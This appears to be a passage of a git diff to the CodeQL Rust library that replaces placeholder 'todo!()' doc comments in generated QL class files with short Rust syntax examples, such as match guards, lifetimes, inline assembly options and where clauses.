a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MacroTypeRepr` class directly. * Use the subclass `MacroTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll index 37658ce922f..b3b97b7a175 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll @@ -16,9 +16,16 @@ import codeql.rust.elements.MatchArm */ module Generated { /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MatchArmList` class directly. * Use the subclass `MatchArmList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll index 193a85eaa11..b0b52879f52 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll @@ -15,9 +15,15 @@ import codeql.rust.elements.Expr */ module Generated { /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` * INTERNAL: Do not reference the `Generated::MatchGuard` class directly. * Use the subclass `MatchGuard`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll index 9f4252af309..68db05b0aba 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.TokenTree */ module Generated { /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[cfg(feature = "foo")] + * // ^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Meta` class directly. * Use the subclass `Meta`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll index bffcfbdba6f..115ae6afaea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::Name` class directly. * Use the subclass `Name`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll index bf690fae0a4..5835c078827 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.UseBoundGenericArgImpl::Impl as UseBoundGen */ module Generated { /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` * INTERNAL: Do not reference the `Generated::NameRef` class directly. * Use the subclass `NameRef`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll index 54d2ecf8a04..6da319c83f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` * INTERNAL: Do not reference the `Generated::NeverTypeRepr` class directly. * Use the subclass `NeverTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll index e09cc06cdee..1e13899b9a5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.SelfParam */ module Generated { /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParamList` class directly. * Use the subclass `ParamList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll index 5ad83f994ff..12b018506fb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl */ module Generated { /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) + * //^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenExpr` class directly. * Use the subclass `ParenExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll index 7ba7741583c..ddf678e2447 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenPat` class directly. * Use the subclass `ParenPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll index 1ebed2ef11a..b174f19a1a0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenTypeRepr` class directly. * Use the subclass `ParenTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll index 24c4fd531ec..6057a7eb326 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll @@ -15,6 +15,18 @@ import codeql.rust.elements.TypeArg */ module Generated { /** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` * INTERNAL: Do not reference the `Generated::ParenthesizedArgList` class directly. * Use the subclass `ParenthesizedArgList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll index d26bfbb8d5a..dd831902b99 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll @@ -22,6 +22,12 @@ import codeql.rust.elements.TypeRepr module Generated { /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` * INTERNAL: Do not reference the `Generated::PathSegment` class directly. * Use the subclass `PathSegment`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll index 8195ded45ee..990eec0265b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll @@ -15,10 +15,10 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust - * type X = std::collections::HashMap; - * type Y = X::Item; + * let x: (i32); + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::PathTypeRepr` class directly. * Use the subclass `PathTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll index 609c8d258c4..34c116a037e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll @@ -15,9 +15,13 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::PtrTypeRepr` class directly. * Use the subclass `PtrTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index d50a13ad7a8..e611b952de4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -115,9 +115,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ class Abi extends @abi, AstNode { @@ -155,9 +158,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ class ArgList extends @arg_list, AstNode { @@ -171,6 +177,13 @@ module Raw { /** * INTERNAL: Do not use. + * An inline assembly directive specification. + * + * For example: + * ```rust + * asm!("nop"); + * // ^^^^^ + * ``` */ class AsmDirSpec extends @asm_dir_spec, AstNode { override string toString() { result = "AsmDirSpec" } @@ -183,6 +196,13 @@ module Raw { /** * INTERNAL: Do not use. + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` */ class AsmOperandExpr extends @asm_operand_expr, AstNode { override string toString() { result = "AsmOperandExpr" } @@ -200,6 +220,13 @@ module Raw { /** * INTERNAL: Do not use. + * An option in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmOption extends @asm_option, AstNode { override string toString() { result = "AsmOption" } @@ -217,6 +244,13 @@ module Raw { /** * INTERNAL: Do not use. + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + * // ^^^ ^^^ + * ``` */ class AsmRegSpec extends @asm_reg_spec, AstNode { override string toString() { result = "AsmRegSpec" } @@ -229,16 +263,19 @@ module Raw { /** * INTERNAL: Do not use. - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ class AssocItem extends @assoc_item, AstNode { } /** * INTERNAL: Do not use. - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends @assoc_item_list, AstNode { override string toString() { result = "AssocItemList" } @@ -256,9 +293,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ class Attr extends @attr, AstNode { @@ -288,9 +329,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * for <'a> |x: &'a u32 | x + * // ^^^^^^ * ``` */ class ClosureBinder extends @closure_binder, AstNode { @@ -310,18 +354,28 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItem extends @extern_item, AstNode { } /** * INTERNAL: Do not use. - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItemList extends @extern_item_list, AstNode { @@ -340,9 +394,14 @@ module Raw { /** * INTERNAL: Do not use. - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ class FieldList extends @field_list, AstNode { } @@ -370,9 +429,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ class GenericArg extends @generic_arg, AstNode { } @@ -395,9 +457,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ class GenericParam extends @generic_param, AstNode { } @@ -425,9 +490,14 @@ module Raw { /** * INTERNAL: Do not use. - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ class ItemList extends @item_list, AstNode { @@ -465,9 +535,14 @@ module Raw { /** * INTERNAL: Do not use. - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ class LetElse extends @let_else, AstNode { @@ -547,9 +622,16 @@ module Raw { /** * INTERNAL: Do not use. - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ class MatchArmList extends @match_arm_list, AstNode { @@ -568,9 +650,15 @@ module Raw { /** * INTERNAL: Do not use. - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ class MatchGuard extends @match_guard, AstNode { @@ -584,9 +672,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[cfg(feature = "foo")] + * // ^^^^^^^^^^^^^^^ * ``` */ class Meta extends @meta, AstNode { @@ -615,9 +706,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ class Name extends @name, AstNode { @@ -647,9 +741,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ class ParamList extends @param_list, AstNode { @@ -668,6 +765,18 @@ module Raw { /** * INTERNAL: Do not use. + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` */ class ParenthesizedArgList extends @parenthesized_arg_list, AstNode { override string toString() { result = "ParenthesizedArgList" } @@ -709,6 +818,12 @@ module Raw { /** * INTERNAL: Do not use. * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ class PathSegment extends @path_segment, AstNode { override string toString() { result = "PathSegment" } @@ -753,9 +868,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ class Rename extends @rename, AstNode { @@ -785,9 +903,12 @@ module Raw { /** * INTERNAL: Do not use. - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ class RetTypeRepr extends @ret_type_repr, AstNode { @@ -801,9 +922,22 @@ module Raw { /** * INTERNAL: Do not use. - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ class ReturnTypeSyntax extends @return_type_syntax, AstNode { @@ -812,9 +946,12 @@ module Raw { /** * INTERNAL: Do not use. - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ class SourceFile extends @source_file, AstNode { @@ -839,9 +976,15 @@ module Raw { /** * INTERNAL: Do not use. - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ class StmtList extends @stmt_list, AstNode { @@ -891,9 +1034,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ class StructExprFieldList extends @struct_expr_field_list, AstNode { @@ -917,9 +1063,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ class StructField extends @struct_field, AstNode { @@ -984,9 +1133,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ class StructPatFieldList extends @struct_pat_field_list, AstNode { @@ -1011,9 +1163,16 @@ module Raw { /** * INTERNAL: Do not use. - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ``` + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends @token_tree, AstNode { @@ -1022,9 +1181,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ class TupleField extends @tuple_field, AstNode { @@ -1048,9 +1210,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ class TypeBound extends @type_bound, AstNode { @@ -1084,9 +1249,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ class TypeBoundList extends @type_bound_list, AstNode { @@ -1116,6 +1284,13 @@ module Raw { /** * INTERNAL: Do not use. + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` */ class UseBoundGenericArgs extends @use_bound_generic_args, AstNode { override string toString() { result = "UseBoundGenericArgs" } @@ -1130,7 +1305,7 @@ module Raw { /** * INTERNAL: Do not use. - * A UseTree. For example: + * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; @@ -1164,9 +1339,12 @@ module Raw { /** * INTERNAL: Do not use. - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^ * ``` */ class UseTreeList extends @use_tree_list, AstNode { @@ -1185,9 +1363,12 @@ module Raw { /** * INTERNAL: Do not use. - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ class VariantList extends @variant_list, AstNode { @@ -1201,9 +1382,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ class Visibility extends @visibility, AstNode { @@ -1217,9 +1401,12 @@ module Raw { /** * INTERNAL: Do not use. - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ class WhereClause extends @where_clause, AstNode { @@ -1233,9 +1420,12 @@ module Raw { /** * INTERNAL: Do not use. - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ class WherePred extends @where_pred, AstNode { @@ -1286,9 +1476,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ class ArrayTypeRepr extends @array_type_repr, TypeRepr { @@ -1307,6 +1500,13 @@ module Raw { /** * INTERNAL: Do not use. + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmClobberAbi extends @asm_clobber_abi, AsmPiece { override string toString() { result = "AsmClobberAbi" } @@ -1314,6 +1514,13 @@ module Raw { /** * INTERNAL: Do not use. + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` */ class AsmConst extends @asm_const, AsmOperand { override string toString() { result = "AsmConst" } @@ -1359,6 +1566,13 @@ module Raw { /** * INTERNAL: Do not use. + * A label in an inline assembly block. + * + * For example: + * ```rust + * asm!("jmp {label}", label = sym my_label); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` */ class AsmLabel extends @asm_label, AsmOperand { override string toString() { result = "AsmLabel" } @@ -1371,6 +1585,13 @@ module Raw { /** * INTERNAL: Do not use. + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + * // ^^^^^ ^^^^ + * ``` */ class AsmOperandNamed extends @asm_operand_named, AsmPiece { override string toString() { result = "AsmOperandNamed" } @@ -1388,6 +1609,13 @@ module Raw { /** * INTERNAL: Do not use. + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmOptionsList extends @asm_options_list, AsmPiece { override string toString() { result = "AsmOptionsList" } @@ -1400,6 +1628,13 @@ module Raw { /** * INTERNAL: Do not use. + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` */ class AsmRegOperand extends @asm_reg_operand, AsmOperand { override string toString() { result = "AsmRegOperand" } @@ -1422,6 +1657,13 @@ module Raw { /** * INTERNAL: Do not use. + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` */ class AsmSym extends @asm_sym, AsmOperand { override string toString() { result = "AsmSym" } @@ -1434,9 +1676,12 @@ module Raw { /** * INTERNAL: Do not use. - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * ::Item + * // ^^^^ * ``` */ class AssocTypeArg extends @assoc_type_arg, GenericArg { @@ -1756,9 +2001,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ class ConstArg extends @const_arg, GenericArg { @@ -1796,9 +2044,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ class ConstParam extends @const_param, GenericParam { @@ -1864,9 +2115,12 @@ module Raw { /** * INTERNAL: Do not use. - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ class DynTraitTypeRepr extends @dyn_trait_type_repr, TypeRepr { @@ -1924,9 +2178,12 @@ module Raw { /** * INTERNAL: Do not use. - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ class FnPtrTypeRepr extends @fn_ptr_type_repr, TypeRepr { @@ -1965,9 +2222,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ForTypeRepr. For example: + * A higher-ranked trait bound(HRTB) type. + * + * For example: * ```rust - * todo!() + * for <'a> fn(&'a str) + * // ^^^^^ * ``` */ class ForTypeRepr extends @for_type_repr, TypeRepr { @@ -2101,9 +2361,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class ImplTraitTypeRepr extends @impl_trait_type_repr, TypeRepr { @@ -2144,9 +2407,12 @@ module Raw { /** * INTERNAL: Do not use. - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ class InferTypeRepr extends @infer_type_repr, TypeRepr { @@ -2155,9 +2421,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ class Item extends @item, Stmt, Addressable { @@ -2251,9 +2521,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ class Lifetime extends @lifetime, UseBoundGenericArg { @@ -2267,9 +2540,12 @@ module Raw { /** * INTERNAL: Do not use. - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo<'a> + * // ^^ * ``` */ class LifetimeArg extends @lifetime_arg, GenericArg { @@ -2283,9 +2559,12 @@ module Raw { /** * INTERNAL: Do not use. - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ class LifetimeParam extends @lifetime_param, GenericParam { @@ -2379,9 +2658,11 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ class MacroExpr extends @macro_expr, Expr { @@ -2395,9 +2676,14 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` */ class MacroPat extends @macro_pat, Pat { @@ -2411,9 +2697,12 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * type T = macro_type!(); + * // 